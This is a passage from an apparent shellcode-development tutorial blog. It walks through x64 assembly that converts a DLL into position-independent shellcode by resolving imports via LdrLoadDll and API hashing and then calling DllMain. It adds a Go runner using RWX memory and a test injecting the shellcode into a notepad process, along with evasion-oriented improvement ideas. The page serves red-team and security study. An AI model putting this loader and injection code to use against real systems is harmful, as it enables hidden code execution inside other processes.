LoadLibrary or LdrLoadDll to load the required dlls and then we can use our parse\_module function to get the address of each function. Let's see how the code looks in assembly. Copy "imports:", " mov r13,qword ptr [rbp-0x30];", // Optional header -> r13 " add r13, 0x78;", // Points to IMAGE_DIRECTORY_ENTRY_BASERELOC " mov r12d, dword ptr[r13];", // imports.VirtualAddress ->rax " add r12,qword ptr [rbp-0x38];", // Import Descriptor address "imports_loop:", //r12 -> import descriptor address " mov r13, r12;", // rax points to the beginning of the import " add r13, 0x0c;", // offset 0xc points to the name RVA " mov r13d, dword ptr[r13];", //dereference to get RVA value to r13 " cmp r13d, 0x0;", //check if RVA is 0 " je exit_imports_loop;", // exit loop if RVA ==0 " add r13, qword ptr [rbp-0x38];", // dll name address " mov rsi,r13;", // used by loadsb /* typedef struct _UNICODE_STRING { USHORT Length; USHORT MaximumLength; PWSTR Buffer; } UNICODE_STRING, *PUNICODE_STRING; */ " xor rax,rax;", // used by loadsb " xor r11,r11;", // size " push rax;", // Creating a space of 0s for the Unicode String Buffer " push rax;", " push rax;", " push rax;", " push rax;", " push rax;", " push rax;", " push rax;", " push rax;", " push rax;", " push rax;", "loop_through_DLL:", // Iterate over each byte " lodsb;", // Copy the next byte of RSI to Al " test al, al;", // If reaching the end of the string " jz end_loop_through_DLL;", // " mov byte ptr [rsp+r11], al;", // In the buffer we write the dll name bytes in every second byte. (0s in between K.E.R.N.E.L.3.2.D.L.L..) " add r11w,0x2;", " jmp loop_through_DLL;", // Next byte "end_loop_through_DLL:", // Iterate over each byte " add r11w, 0x2;", // MaximumLength " mov ax,r11w;", " shl rax,16;", " sub r11w, 0x2;", //Length " or rax,r11;", // first qword is the length and max length " lea rsi, [rsp];", // pointer to the buffer " push rsi;", //push pointer to the stack " push rax;", // push lengts to the stack to form the UNICODE " lea rsi, [rsp];", // Pointer to the UNICODE_STRING " push rsi;", // unicode string of the dll " mov r9,qword ptr [rbp-0x10];", // move ntdll base address to r9 for parse_module " mov r8d, 0xb0988fe4;", // LdrLoadDll Hash " call parse_module;", // Search and obtain address of LdrLoadDll " xor rcx,rcx;", " inc rcx;", // first arg 1 " pop r8;", // third arg Pointer to the unicode string on the stack " xor r9,r9;", // 0 -> r9 " push r9;", " lea rdx, [rsp];", // second arg null pointer " lea r9, [rsp];", // fourth argument pointer the dll base address " mov rsi, r9;", " sub rsp,0x20;", // shadow space " call rax;", // call LdrLoadDll " add rsp,0x20;", // restore stack " push r12;", // import descriptor address -> stack " push qword ptr [rsi];", // address of dll to stack " mov r12d, dword ptr[r12+0x10];", " add r12,qword ptr [rbp-0x38];", "inner_import_loop:", " mov r13d, dword ptr[r12];", //dereference to get RVA value to r13 " cmp r13d, 0x0;", //check if RVA is 0 " je exit_inner_import_loop;", // exit loop if RVA ==0 " add r13, qword ptr [rbp-0x38];", // " add r13,0x2;", " mov rsi,r13;", //"function_hashing:", // Hash function name function " xor rax, rax;", " xor rdx, rdx;", " cld;", // Clear DF flag "iteration2:", // Iterate over each byte " lodsb;", // Copy the next byte of RSI to Al " test al, al;", // If reaching the end of the string " jz getProcAddress;", // Compare hash " ror edx, 0x0d;", // Part of hash algorithm " add edx, eax;", // Part of hash algorithm " jmp iteration2;", // Next byte "getProcAddress:", " mov r8,r15;", " mov r9,qword ptr[rsp];", // move dll base address to r9 for parse_module " mov r8d, edx;", // Hash " call parse_module;", // Search and obtain address of GetCurrentProcess " mov qword ptr[r12],rax;", // write import " add r12,0x8;", // point to next proc address " jmp inner_import_loop;", //loop "exit_inner_import_loop:", " pop rax;", // get rid of dll address " pop r12;", // retrieve Import Descriptor address from stack " add r12,0x14;", // Point to the next import " jmp imports_loop;", "exit_imports_loop:", This is the longest part of the code so let's break it to smaller sections. #### [](https://www.scriptchildie.com/payloads/shellcode-development/3.-transforming-dlls-into-shellcode#import-descriptor-address) Import Descriptor Address Copy "imports:", " mov r13,qword ptr [rbp-0x30];", // Optional header -> r13 " add r13, 0x78;", // ImportDescriptor " mov r12d, dword ptr[r13];", // imports.VirtualAddress ->rax " add r12,qword ptr [rbp-0x38];", // Import Descriptor address Here we need to capture the address of the Import Descriptor. * Line 2: Move Optional Header address into r13 * Line 3: Import Descriptor RVA is located at offset 0x78 in the OptionaHeader * Line 4: Move RVA value to r12 * Line 5: Add the base dll value to the RVA in r12 ### [](https://www.scriptchildie.com/payloads/shellcode-development/3.-transforming-dlls-into-shellcode#dll-loop-outer-loop) Dll loop (outer loop) #### [](https://www.scriptchildie.com/payloads/shellcode-development/3.-transforming-dlls-into-shellcode#dll-name-address) DLL Name Address Copy "imports_loop:", //r12 -> import descriptor address " mov r13, r12;", // rax points to the beginning of the import " add r13, 0x0c;", // offset 0xc points to the name RVA " mov r13d, dword ptr[r13];", //dereference to get RVA value to r13 " cmp r13d, 0x0;", //check if RVA is 0 " je exit_imports_loop;", // exit loop if RVA ==0 " add r13, qword ptr [rbp-0x38];", // dll name address " mov rsi,r13;", // used by loadsb * Line 5: Name RVA is located at offset 0x0c from the beginning of the import descriptor * Line 6: Move RVA value into r13 * Line 7: Compares RVA value to 0 * Line 8: If the value is zero it breaks off the loop * Line 9: Calculates the absolute address by adding the DLL base address to the RVA * Line 10: Move absolute address to rsi #### [](https://www.scriptchildie.com/payloads/shellcode-development/3.-transforming-dlls-into-shellcode#ldrloaddll) LdrLoadDll It would be easier to just use LoadLibrary since all we have to provide to the API is a pointer to the name of the dll which already stored in rsi. Instead we use LdrLoadDll which makes use of the UNICODE\_STRING structure and is located in the ntdll. A few years back it would even be considered more stealthy, but I am not sure it's the case nowadays. Let's take a look at the function definition. Copy LdrLoadDll( IN PWCHAR PathToFile OPTIONAL, IN PULONG Flags OPTIONAL, IN PUNICODE_STRING ModuleFileName, OUT PHANDLE ModuleHandle ); In order to understand the arguments passed to this (undocumented) function I ran LoadLibrary and set a breakpoint on the LdrLoadDll * PathToFile was set to 1 * Flags was a pointer pointing to 0 * ModuleFileName is a pointer to the UNICODE\_STRING struct holding the name of the dll * A pointer to the address we would like the dll's base address to be returned #### [](https://www.scriptchildie.com/payloads/shellcode-development/3.-transforming-dlls-into-shellcode#unicode_string) UNICODE\_STRING The arguments that LdrLoadDLL are straight forward except the UNICODE\_STRING struct. Let's have a quick look on the struct definition Copy typedef struct _UNICODE_STRING { USHORT Length; USHORT MaximumLength; PWSTR Buffer; } UNICODE_STRING, *PUNICODE_STRING; Firstly we need to transform the dll name from a null terminated byte array to a wide character array. This essentially means that every character should bea word where the first byte is what we had already followed by another 0 byte. The null terminator will be two null bytes. Let's take kernel32.dll as an example. In memory we currently have _4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00_ When this is transformed to a Wide string this is how it will look in memory _4B 00 45 00 52 00 4E 00 45 00 4C 00 33 00 32 00 2E 00 64 00 6C 00 6C 00 00 00_ We then have to calculate the length of the wide dll string. The length will be 26 (0x1a) which is the length of the wide string without the null termination bytes Maximum Length will be 28 (0x1c) which is the size of the wide string including the termination bytes #### [](https://www.scriptchildie.com/payloads/shellcode-development/3.-transforming-dlls-into-shellcode#asm-code) ASM code Let's dive into the code on how we construct the UNICODE\_STRING Copy " xor rax,rax;", // used by loadsb " xor r11,r11;", // size " push rax;", // Creating a space of 0s for the Unicode String Buffer " push rax;", " push rax;", " push rax;", " push rax;", " push rax;", " push rax;", " push rax;", " push rax;", " push rax;", " push rax;", "loop_through_DLL:", // Iterate over each byte " lodsb;", // Copy the next byte of RSI to Al " test al, al;", // If reaching the end of the string " jz end_loop_through_DLL;", // " mov byte ptr [rsp+r11], al;", // In the buffer we write the dll name bytes in every second byte. (0s in between K.E.R.N.E.L.3.2.D.L.L..) " add r11w,0x2;", " jmp loop_through_DLL;", // Next byte "end_loop_through_DLL:", // Iterate over each byte " add r11w, 0x2;", // MaximumLength " mov ax,r11w;", " shl rax,16;", " sub r11w, 0x2;", //Length " or rax,r11;", // first qword is the length and max length " lea rsi, [rsp];", // pointer to the buffer " push rsi;", //push pointer to the stack " push rax;", // push lengts to the stack to form the UNICODE * Line 1-2 : Zero rax and r11 to be used by the loop * Lines 3-13: Create a space of zeros on the stack * Line 16: Copy the next byte at address RSI to al * Line 17: Check if it's the null termination * Line 18: Break the loop by jumping to line 24 (end\_loop\_through\_DLL) * Line 19: Write the byte to the stack * Line 20: Point to the next location in the stack by leaving a byte with 0 in between * Line 21 : Iterate When we reach this point it means our whole string is turned into a wide string in memory * Line 25: Calculates the Maximum Length by adding the 2 null terminting bytes in the size At this point we start constructing the struct in the stack * Line 26: we move the MaximumLength value in ax from r11w * Line 27: we shift rax left by 16bits * Line 28: subtract 2 to get the Length * Line 29: we merge the max length and length in rax by using or * Line 30: we get a pointer on the wide string on the stack * Line 31: We push pointer to the wide string the stack * Line 32: We push the lengths to the stack We now how the struct into the stack. Copy " lea rsi, [rsp];", // Pointer to the UNICODE_STRING " push rsi;", // unicode string of the dll " mov r9,qword ptr [rbp-0x10];", // move ntdll base address to r9 for parse_module " mov r8d, 0xb0988fe4;", // LdrLoadDll Hash " call parse_module;", // Search and obtain address of LdrLoadDll " xor rcx,rcx;", " inc rcx;", // first arg 1 " pop r8;", // third arg Pointer to the unicode string on the stack " xor r9,r9;", // 0 -> r9 " push r9;", " lea rdx, [rsp];", // second arg null pointer " lea r9, [rsp];", // fourth argument pointer the dll base address " mov rsi, r9;", " sub rsp,0x20;", // shadow space " call rax;", // call LdrLoadDll " add rsp,0x20;", // restore stack " push r12;", // import descriptor address -> stack " push qword ptr [rsi];", // address of dll to stack " mov r12d, dword ptr[r12+0x10];", " add r12,qword ptr [rbp-0x38];", With now have all the values we need to call LdrLoadDll * Line 1: Pointer to of the unicode\_string in rsi * Line 2: Store rsi to the stack * Line 3: Move the base address of ntdll in r9 * Line 4: Move the hash of LdrLoadDll to r8 * Line 6: Call parse\_module to get the function address rax * Lines 7-8: Set the first argument by setting rcx to 1 * Line 9: Set third argument by popping the address of the structure to r8 * Lines 10-12: Set rdx (second argument) to a pointer that points to 0 * Line 13: Set r9 (fourth argument ) to a pointer that points to 0. The dll base address will be stored here * Line 14: Move r9 to rsi to use after the function call * Line: 16 & 18: Add and remove shadow space before and after the call * Line 17: Call LdrLoadDLl * Line 19: Store import descriptor address to stack before the inner loop * Line 21: First thunk RVA * Line 22: Absolute address to First thunk ### [](https://www.scriptchildie.com/payloads/shellcode-development/3.-transforming-dlls-into-shellcode#function-imports-inner-loop) Function Imports (Inner loop) We now Loaded the DLL in memory using LdrLoadDll. Next step is to import the functions from that dll using parse\_module Copy "inner_import_loop:", " mov r13d, dword ptr[r12];", //dereference to get RVA value to r13 " cmp r13d, 0x0;", //check if RVA is 0 " je exit_inner_import_loop;", // exit loop if RVA ==0 " add r13, qword ptr [rbp-0x38];", // " add r13,0x2;", " mov rsi,r13;", //"function_hashing:", // Hash function name function " xor rax, rax;", " xor rdx, rdx;", " cld;", // Clear DF flag "iteration2:", // Iterate over each byte " lodsb;", // Copy the next byte of RSI to Al " test al, al;", // If reaching the end of the string " jz getProcAddress;", // Compare hash " ror edx, 0x0d;", // Part of hash algorithm " add edx, eax;", // Part of hash algorithm " jmp iteration2;", // Next byte "getProcAddress:", " mov r9,qword ptr[rsp];", // move dll base address to r9 for parse_module " mov r8d, edx;", // Hash " call parse_module;", // Search and obtain address of GetCurrentProcess " mov qword ptr[r12],rax;", // write import " add r12,0x8;", // point to next proc address " jmp inner_import_loop;", //loop * Line 2: Get the RVA of the function name to r13 * Line 3: Checks if RVA equals to 0 * Line 4: Break off the loop * Line 5: Get Absolute address of the function name * Line 6: Add 0x2 to the absolute address in r13 to jump over the two null bytes * Lines 9-20: Turn the function name into a function hash as described [here](https://www.scriptchildie.com/payloads/shellcode-development/2.-windows-x64-shellcode-development-intro#function_hashing) * Line 23: Move dll base address to r9 * Line 24: Move hash from edx to r8 * Line 25: Call parse module * Line 27: Overwrite Original thunk with the function address * Line 28: Point to the next function * Line 29: Iterate. We are now ready to execute our code ### [](https://www.scriptchildie.com/payloads/shellcode-development/3.-transforming-dlls-into-shellcode#call-dllmain) Call DllMain Our code is now ready to be executed. Copy " mov r13,qword ptr [rbp-0x30];", // optional header into r13 " add r13,0x10;", // entry point address " mov r13d, dword ptr [r13];", " add r13, qword ptr [rbp-0x38];", // absolute entry point address " mov rcx, qword ptr [rbp-0x38];", // dllbase first arg " mov rdx, 0x1;", // DLL_PROCESS_ATTACH = 0x1 second arg " mov r8, 0x0;", // 3rd arg 0 " xor r9,r9;", " sub rsp,0x20;", // shadow space " call r13;", " add rsp,0x20;", // shadow space All we have to do now is to call the entry point (DllMain). The address of the entry point can be found in the optional header at offset 0x10 * Line 1: Move optional header to r13 * Line 2: Add the 0x10 offset to r13 * Line 3: Move the RVA value to r13 * Line 4: Add dll base address to get the absolute address of the entry point Let's have a quick look at the Entry point (DllMain) definition: Copy BOOL WINAPI DllMain( HINSTANCE hinstDLL, // handle to DLL module DWORD fdwReason, // reason for calling function LPVOID lpvReserved ) // reserved hinstDLL is the base dll address fdwReason we will set to 0x1 for DLL\_PROCESS\_ATTACH lpvReserved will be set to 0 * Line 5: the base address is moved to rcx ( 1st argument) * Line 6: rdx set to 0x1 (2nd argument) * Line 7: r8 set to 1 (3rd argument) * Lines 10&12: Add and remove shadow space before and after the call * Line 11: Call Entry point At this point if everything went well we will see a popup window from our DLL ![](https://www.scriptchildie.com/~gitbook/image?url=https%3A%2F%2F1525675160-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F1BtmYYGIbNqDCOEq0YOj%252Fuploads%252F0fGLJlPX0MTGmnPoF67i%252Fimage.png%3Falt%3Dmedia%26token%3Dd0ad41bb-1f37-4ac6-a5d8-aed52a193b0f&width=768&dpr=4&quality=100&sign=999a0e3&sv=2) Great :) ### [](https://www.scriptchildie.com/payloads/shellcode-development/3.-transforming-dlls-into-shellcode#shellcode-epilogue) Shellcode epilogue Copy "Epilogue:", " mov rsp,rbp;", " pop rbp;", " pop rbx;", " pop rdi;", " pop rsi;", " pop r15;", " pop r14;", " pop r13;", " pop r12;", " ret;", In the epilogue we restore the rsp values and all non-volatile register. This is especially important if we are planning to resume execution to the calling program. [](https://www.scriptchildie.com/payloads/shellcode-development/3.-transforming-dlls-into-shellcode#testing-our-shellcode) Testing our shellcode ----------------------------------------------------------------------------------------------------------------------------------------------------- ### [](https://www.scriptchildie.com/payloads/shellcode-development/3.-transforming-dlls-into-shellcode#inline-execution) Inline Execution In order to check if our shellcode will resume execution without crashing our main program, we will have to modify the shellcode runner to run the code inline and not to create a new thread. In our shellcode runner we can replace the CreateThread function with the syscallN function. Copy func ShellcodeRunner(sc []byte) error { //msfvenom -f hex -p windows/x64/exec cmd=calc fmt.Println("----> Run shellcode <----") fmt.Println("[+] Allocating memory for shellcode") addr, err := windows.VirtualAlloc(uintptr(0), uintptr(len(sc)), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_EXECUTE_READWRITE) if err != nil { return fmt.Errorf("[FATAL] VirtualAlloc Failed: %v\n", err) } fmt.Printf("[+] Allocated Memory Address: 0x%x\n", addr) modntdll := syscall.NewLazyDLL("Ntdll.dll") procrtlMoveMemory := modntdll.NewProc("RtlMoveMemory") procrtlMoveMemory.Call(addr, uintptr(unsafe.Pointer(&sc[0])), uintptr(len(sc))) fmt.Println("[+] Wrote shellcode bytes to destination address") fmt.Println("[+] Changing Permissions to RX") var oldProtect uint32 err = windows.VirtualProtect(addr, uintptr(len(sc)), windows.PAGE_EXECUTE_READ, &oldProtect) if err != nil { return fmt.Errorf("[FATAL] VirtualProtect Failed: %v", err) } /*modKernel32 := syscall.NewLazyDLL("kernel32.dll") procCreateThread := modKernel32.NewProc("CreateThread") tHandle, _, lastErr := procCreateThread.Call( uintptr(0), uintptr(0), addr, uintptr(0), uintptr(0), uintptr(0)) if tHandle == 0 { return fmt.Errorf("Unable to Create Thread: %v\n", lastErr) } fmt.Printf("[+] Handle of newly created thread: %x \n", tHandle) windows.WaitForSingleObject(windows.Handle(tHandle), windows.INFINITE)*/ syscall.SyscallN(addr) return nil } This is how our new shellcode runner function looks like. Also, in our main function we add another print function after calling the shellcode runner function Copy fmt.Println("[SUCCESS] Done") If we successfully restore all the registers and the stack pointers, we should see the above message printed in the console after we press "OK" on the messagebox. ![](https://www.scriptchildie.com/~gitbook/image?url=https%3A%2F%2F1525675160-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F1BtmYYGIbNqDCOEq0YOj%252Fuploads%252Foxyk71te5oPbb5FbsasB%252Fimage.png%3Falt%3Dmedia%26token%3D1f5b994c-faca-43ce-be8f-98252c1d995e&width=768&dpr=4&quality=100&sign=c53753dc&sv=2) Our shellcode returns cleanly to the main function. ### [](https://www.scriptchildie.com/payloads/shellcode-development/3.-transforming-dlls-into-shellcode#shellcode-injection) Shellcode injection Let's test our code when it's injected into a remote process. We switch our function from the shellcoderunner to shecllodeIjnection Copy err = shecllodeIjnection(22124, srdi) //Run the generated shellcode if err != nil { log.Fatalln(err) } We then give it the pid of a running notepad ![](https://www.scriptchildie.com/~gitbook/image?url=https%3A%2F%2F1525675160-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F1BtmYYGIbNqDCOEq0YOj%252Fuploads%252FBv3WiPaI3zcKbMMRiLM1%252Fimage.png%3Falt%3Dmedia%26token%3Dd54b4a24-267c-464c-929f-0cd7848a41cc&width=768&dpr=4&quality=100&sign=4538f8ce&sv=2) Executes as expected [](https://www.scriptchildie.com/payloads/shellcode-development/3.-transforming-dlls-into-shellcode#future-work-improvements) Future Work / Improvements ------------------------------------------------------------------------------------------------------------------------------------------------------------- The code is meant to be used for educational purposes. It's not ready to be used in production or as part of a real red team engagement. Here is a list of a few future improvements: * Remove all null bytes from the shellcode * Ability to generate shellcode that calls any exported function and pass arguments to it. * Add indirect syscall functionality * Remove unnecessary winapi calls such as WriteProcessMemory * Clean memory after execution * Avoid the use of rwx regions [](https://www.scriptchildie.com/payloads/shellcode-development/3.-transforming-dlls-into-shellcode#complete-code) Complete Code: -------------------------------------------------------------------------------------------------------------------------------------- [https://github.com/scriptchildie/GoDll2Shellcode](https://github.com/scriptchildie/GoDll2Shellcode) Last updated 1 year ago Was this helpful? ---